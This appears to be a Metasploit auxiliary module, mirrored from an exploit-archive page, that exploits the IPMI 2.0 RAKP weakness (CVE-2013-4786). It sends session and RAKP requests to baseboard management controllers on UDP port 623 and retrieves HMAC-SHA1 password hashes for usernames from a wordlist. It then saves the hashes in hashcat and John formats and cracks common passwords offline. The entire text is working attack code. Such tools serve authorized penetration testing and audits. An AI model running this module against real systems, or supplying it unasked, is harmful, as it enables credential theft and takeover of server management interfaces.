Share
## https://sploitus.com/exploit?id=PACKETSTORM:180982
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
  
def initialize  
super(  
'Name' => 'IPMI 2.0 RAKP Remote SHA1 Password Hash Retrieval',  
'Description' => %q|  
This module identifies IPMI 2.0-compatible systems and attempts to retrieve the  
HMAC-SHA1 password hashes of default usernames. The hashes can be stored in a  
file using the OUTPUT_FILE option and then cracked using hmac_sha1_crack.rb  
in the tools subdirectory as well hashcat (cpu) 0.46 or newer using type 7300.  
|,  
'Author' => [ 'Dan Farmer <zen[at]fish2.com>', 'hdm' ],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['URL', 'http://fish2.com/ipmi/remote-pw-cracking.html'],  
['URL', 'https://seclists.org/bugtraq/2014/Apr/16'], # HP's SSRT101367  
['CVE', '2013-4786'],  
['OSVDB', '95057'],  
['BID', '61076'],  
],  
'DisclosureDate' => 'Jun 20 2013'  
)  
  
register_options(  
[  
Opt::RPORT(623),  
OptPath.new('USER_FILE', [ true, "File containing usernames, one per line",  
File.join(Msf::Config.install_root, 'data', 'wordlists', 'ipmi_users.txt')  
]),  
OptPath.new('PASS_FILE', [ true, "File containing common passwords for offline cracking, one per line",  
File.join(Msf::Config.install_root, 'data', 'wordlists', 'ipmi_passwords.txt')  
]),  
OptString.new('OUTPUT_HASHCAT_FILE', [false, "Save captured password hashes in hashcat format"]),  
OptString.new('OUTPUT_JOHN_FILE', [false, "Save captured password hashes in john the ripper format"]),  
OptBool.new('CRACK_COMMON', [true, "Automatically crack common passwords as they are obtained", true]),  
OptInt.new('SESSION_RETRY_DELAY', [true, "Delay between session retries in seconds", 5]),  
OptInt.new('SESSION_MAX_ATTEMPTS', [true, "Maximum number of session retries, required on certain BMCs (HP iLO 4, etc)", 5])  
])  
  
end  
  
def post_auth?  
true  
end  
  
def ipmi_status(msg)  
vprint_status("#{rhost}:#{rport} - IPMI - #{msg}")  
end  
  
def ipmi_error(msg)  
vprint_error("#{rhost}:#{rport} - IPMI - #{msg}")  
end  
  
def ipmi_good(msg)  
print_good("#{rhost}:#{rport} - IPMI - #{msg}")  
end  
  
def run_host(ip)  
  
ipmi_status("Sending IPMI probes")  
  
usernames = []  
passwords = []  
  
# Load up our username list (save on open fds)  
::File.open(datastore['USER_FILE'], "rb") do |fd|  
fd.each_line do |line|  
usernames << line.strip  
end  
end  
usernames << ""  
usernames = usernames.uniq  
  
# Load up our password list (save on open fds)  
::File.open(datastore['PASS_FILE'], "rb") do |fd|  
fd.each_line do |line|  
passwords << line.gsub(/\r?\n?/, '')  
end  
end  
passwords << ""  
passwords = passwords.uniq  
  
delay_value = datastore['SESSION_RETRY_DELAY'].to_i  
max_session_attempts = datastore['SESSION_MAX_ATTEMPTS'].to_i  
  
self.udp_sock = Rex::Socket::Udp.create({'Context' => {'Msf' => framework, 'MsfExploit' => self}})  
add_socket(self.udp_sock)  
  
reported_vuln = false  
session_succeeded = false  
  
usernames.each do |username|  
console_session_id = Rex::Text.rand_text(4)  
console_random_id = Rex::Text.rand_text(16)  
  
ipmi_status("Trying username '#{username}'...")  
  
rakp = nil  
sess = nil  
sess_data = nil  
  
# It may take multiple tries to get a working "session" on certain BMCs (HP iLO 4, etc)  
1.upto(max_session_attempts) do |attempt|  
  
r = nil  
1.upto(3) do  
udp_send(Rex::Proto::IPMI::Utils.create_ipmi_session_open_request(console_session_id))  
r = udp_recv(5.0)  
break if r  
end  
  
unless r  
ipmi_status("No response to IPMI open session request")  
rakp = nil  
break  
end  
  
sess = process_opensession_reply(*r)  
unless sess  
ipmi_status("Could not understand the response to the open session request")  
rakp = nil  
break  
end  
  
if sess.data.length < 8  
ipmi_status("Refused IPMI open session request, waiting #{delay_value} seconds")  
rakp = nil  
sleep(delay_value) if session_succeeded  
next # break  
end  
  
session_succeeded = true  
  
sess_data = Rex::Proto::IPMI::Session_Data.new.read(sess.data)  
  
r = nil  
1.upto(3) do  
udp_send(Rex::Proto::IPMI::Utils.create_ipmi_rakp_1(sess_data.bmc_session_id, console_random_id, username))  
r = udp_recv(5.0)  
break if r  
end  
  
unless r  
ipmi_status("No response to RAKP1 message")  
next  
end  
  
rakp = process_rakp1_reply(*r)  
unless rakp  
ipmi_status("Could not understand the response to the RAKP1 request")  
rakp = nil  
break  
end  
  
# Sleep and retry on session ID errors  
if rakp.error_code == 2  
ipmi_error("Returned a Session ID error for username #{username} on attempt #{attempt}")  
Rex.sleep(1)  
next  
end  
  
if rakp.error_code != 0  
ipmi_error("Returned error code #{rakp.error_code} for username #{username}: #{Rex::Proto::IPMI::RMCP_ERRORS[rakp.error_code].to_s}")  
rakp = nil  
break  
end  
  
# TODO: Finish documenting this error field  
if rakp.ignored1 != 0  
ipmi_error("Returned error code #{rakp.ignored1} for username #{username}")  
rakp = nil  
break  
end  
  
# Check if there is hash data  
if rakp.data.length < 56  
rakp = nil  
break  
end  
  
# Break out of the session retry code if we make it here  
break  
end  
  
# Skip to the next user if we didnt get a valid response  
next if !rakp  
  
# Calculate the salt used in the hmac-sha1 hash  
rakp_data = Rex::Proto::IPMI::RAKP2_Data.new.read(rakp.data)  
hmac_buffer = Rex::Proto::IPMI::Utils.create_rakp_hmac_sha1_salt(  
console_session_id,  
sess_data.bmc_session_id,  
console_random_id,  
rakp_data.bmc_random_id,  
rakp_data.bmc_guid,  
0x14,  
username  
)  
  
sha1_salt = hmac_buffer.unpack("H*")[0]  
sha1_hash = rakp_data.hmac_sha1.unpack("H*")[0]  
  
if sha1_hash == "0000000000000000000000000000000000000000"  
ipmi_error("Returned a bogus SHA1 hash for username #{username}")  
next  
end  
  
ipmi_good("Hash found: #{username}:#{sha1_salt}:#{sha1_hash}")  
  
write_output_files(rhost, username, sha1_salt, sha1_hash)  
  
# Write the rakp hash to the database  
hash = "#{rhost} #{username}:$rakp$#{sha1_salt}$#{sha1_hash}"  
core_id = report_hash(username, hash)  
# Write the vulnerability to the database  
unless reported_vuln  
report_vuln(  
:host => rhost,  
:port => rport,  
:proto => 'udp',  
:sname => 'ipmi',  
:name => 'IPMI 2.0 RMCP+ Authentication Password Hash Exposure',  
:info => "Obtained password hash for user #{username}: #{sha1_salt}:#{sha1_hash}",  
:refs => self.references  
)  
reported_vuln = true  
end  
  
# Offline crack common passwords and report clear-text credentials  
next unless datastore['CRACK_COMMON']  
  
passwords.uniq.each do |pass|  
pass = pass.strip  
next unless pass.length > 0  
next unless Rex::Proto::IPMI::Utils.verify_rakp_hmac_sha1(hmac_buffer, rakp_data.hmac_sha1, pass)  
ipmi_good("Hash for user '#{username}' matches password '#{pass}'")  
  
# Report the clear-text credential to the database  
report_cracked_cred(username, pass, core_id)  
break  
end  
end  
end  
  
def process_opensession_reply(data, shost, sport)  
shost = shost.sub(/^::ffff:/, '')  
info = Rex::Proto::IPMI::Open_Session_Reply.new.read(data) rescue nil  
return unless info && info.session_payload_type == Rex::Proto::IPMI::PAYLOAD_RMCPPLUSOPEN_REP  
info  
end  
  
def process_rakp1_reply(data, shost, sport)  
shost = shost.sub(/^::ffff:/, '')  
info = Rex::Proto::IPMI::RAKP2.new.read(data) rescue nil  
return unless info && info.session_payload_type == Rex::Proto::IPMI::PAYLOAD_RAKP2  
info  
end  
  
  
def write_output_files(rhost, username, sha1_salt, sha1_hash)  
if datastore['OUTPUT_HASHCAT_FILE']  
::File.open(datastore['OUTPUT_HASHCAT_FILE'], "ab") do |fd|  
fd.write("#{rhost} #{username}:#{sha1_salt}:#{sha1_hash}\n")  
fd.flush  
end  
end  
  
if datastore['OUTPUT_JOHN_FILE']  
::File.open(datastore['OUTPUT_JOHN_FILE'], "ab") do |fd|  
fd.write("#{rhost} #{username}:$rakp$#{sha1_salt}$#{sha1_hash}\n")  
fd.flush  
end  
end  
end  
  
def service_data  
{  
address: rhost,  
port: rport,  
service_name: 'ipmi',  
protocol: 'udp',  
workspace_id: myworkspace_id  
}  
end  
  
def report_hash(user, hash)  
credential_data = {  
module_fullname: self.fullname,  
origin_type: :service,  
private_data: hash,  
private_type: :nonreplayable_hash,  
jtr_format: 'rakp',  
username: user,  
}.merge(service_data)  
  
login_data = {  
core: create_credential(credential_data),  
status: Metasploit::Model::Login::Status::UNTRIED  
}.merge(service_data)  
  
cl = create_credential_login(login_data)  
cl ? cl.core_id : nil  
end  
  
def report_cracked_cred(user, password, core_id)  
cred_data = {  
core_id: core_id,  
username: user,  
password: password  
}  
  
create_cracked_credential(cred_data)  
end  
  
#  
# Helper methods (these didn't quite fit with existing mixins)  
#  
  
attr_accessor :udp_sock  
  
def udp_send(data)  
begin  
udp_sock.sendto(data, rhost, datastore['RPORT'], 0)  
rescue ::Interrupt  
raise $!  
rescue ::Exception  
end  
end  
  
def udp_recv(timeo)  
r = udp_sock.recvfrom(65535, timeo)  
r[1] ? r : nil  
end  
  
def rhost  
datastore['RHOST']  
end  
  
def rport  
datastore['RPORT']  
end  
end